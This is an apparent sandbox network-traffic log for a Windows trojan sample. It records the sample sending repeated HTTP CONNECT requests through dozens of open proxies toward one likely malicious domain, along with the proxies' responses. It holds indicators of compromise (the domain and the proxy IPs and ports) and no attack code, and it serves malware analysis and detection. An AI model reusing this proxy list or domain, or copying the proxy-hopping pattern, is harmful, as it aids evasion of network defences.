Feb 23, 2024 14:28:32.609589100 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.085670948 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.492043018 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.195056915 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.585818052 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.991950035 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.389420033 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.147531986 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:46.492309093 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1279	192.168.2.8	53888	3.123.150.192	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.609927893 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.783169031 CET	165	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 13:28:32 GMT Content-Type: text/plain X-Powered-By: ASP.NET Server: squid/6.0.0-20220501-re899e0c27 Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1280	192.168.2.8	53783	193.151.130.114	8086	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.611543894 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1281	192.168.2.8	51666	103.87.170.239	32650	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.612118959 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.426512957 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1282	192.168.2.8	53907	46.17.63.166	4154	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.613101006 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.776149988 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1283	192.168.2.8	53901	5.9.98.142	3233	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.622365952 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1284	192.168.2.8	51679	148.72.206.250	26078	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.623944998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.694941998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.753287077 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.789156914 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1285	192.168.2.8	53751	14.103.26.53	8000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.638778925 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.007003069 CET	339	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.19.2 Date: Fri, 23 Feb 2024 13:28:32 GMT Content-Type: text/html Content-Length: 177 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 39 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center><hr><center>nginx/1.19.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1286	192.168.2.8	53223	132.148.245.169	38780	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.644175053 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.694981098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.695493937 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.789078951 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1287	192.168.2.8	53738	113.53.29.228	13629	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.653141022 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1288	192.168.2.8	54017	198.37.57.112	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.663839102 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.761425972 CET	503	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Fri, 23 Feb 2024 13:28:32 GMT Connection: close Content-Length: 324 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 55 52 4c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid URL</h2><hr><p>HTTP Error 400. The request URL is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1289	192.168.2.8	53934	3.122.84.99	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.664180040 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.857570887 CET	165	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 13:28:32 GMT Content-Type: text/plain X-Powered-By: ASP.NET Server: squid/6.0.0-20220501-re899e0c27 Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1290	192.168.2.8	53908	109.69.0.179	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.671591997 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1291	192.168.2.8	53945	35.185.196.38	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.675394058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.872436047 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1292	192.168.2.8	53863	65.1.244.232	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.695895910 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.976474047 CET	28	IN	HTTP/1.1 502 Bad Gateway

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1293	192.168.2.8	53785	27.65.240.157	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.702805042 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1294	192.168.2.8	53843	133.18.234.13	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.706387043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.021862984 CET	113	IN	HTTP/1.1 503 Service Temporarily Unavailable Content-Type: text/html Connection: close Data Raw: 42 61 63 6b 65 6e 64 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 Data Ascii: Backend not available

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1295	192.168.2.8	53612	208.87.131.151	51016	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.710094929 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.179387093 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.789124966 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.882596016 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.991899967 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1296	192.168.2.8	53996	18.135.133.116	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.737982035 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.901117086 CET	167	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 13:28:32 GMT Content-Type: text/plain X-Powered-By: PHP/5.4.7 Server: squid/6.0.0-20220501-re899e0c27 Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1297	192.168.2.8	54009	190.14.224.244	3629	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.775505066 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1298	192.168.2.8	53854	105.214.71.103	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.783221006 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1299	192.168.2.8	54016	91.189.177.189	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.795602083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.242954016 CET	1286	IN	HTTP/1.1 403 Forbidden Server: squid/5.7 Mime-Version: 1.0 Date: Fri, 23 Feb 2024 13:28:35 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3532 X-Squid-Error: ERR_ACCESS_DENIED 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from lb1 X-Cache-Lookup: NONE from lb1:3128 Via: 1.1 lb1 (squid/5.7) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2020 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2022 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1300	192.168.2.8	54014	93.117.72.27	55770	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.800082922 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1301	192.168.2.8	53880	61.178.152.31	7302	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.800178051 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.615423918 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.965825081 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1302	192.168.2.8	54041	135.181.55.81	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.800215006 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1303	192.168.2.8	53900	3.37.125.76	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.805994034 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.141324997 CET	179	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 13:28:32 GMT Content-Type: text/plain X-Powered-By: PHP/5.5.9-1ubuntu4.21 Server: squid/6.0.0-20220501-re899e0c27 Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1304	192.168.2.8	53916	223.19.111.185	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.806390047 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.491861105 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.492042065 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.398169041 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.124202013 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.855031967 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:47.531174898 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:54.804109097 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:04.244422913 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 13:28:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1305	192.168.2.8	53892	58.20.248.139	9002	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
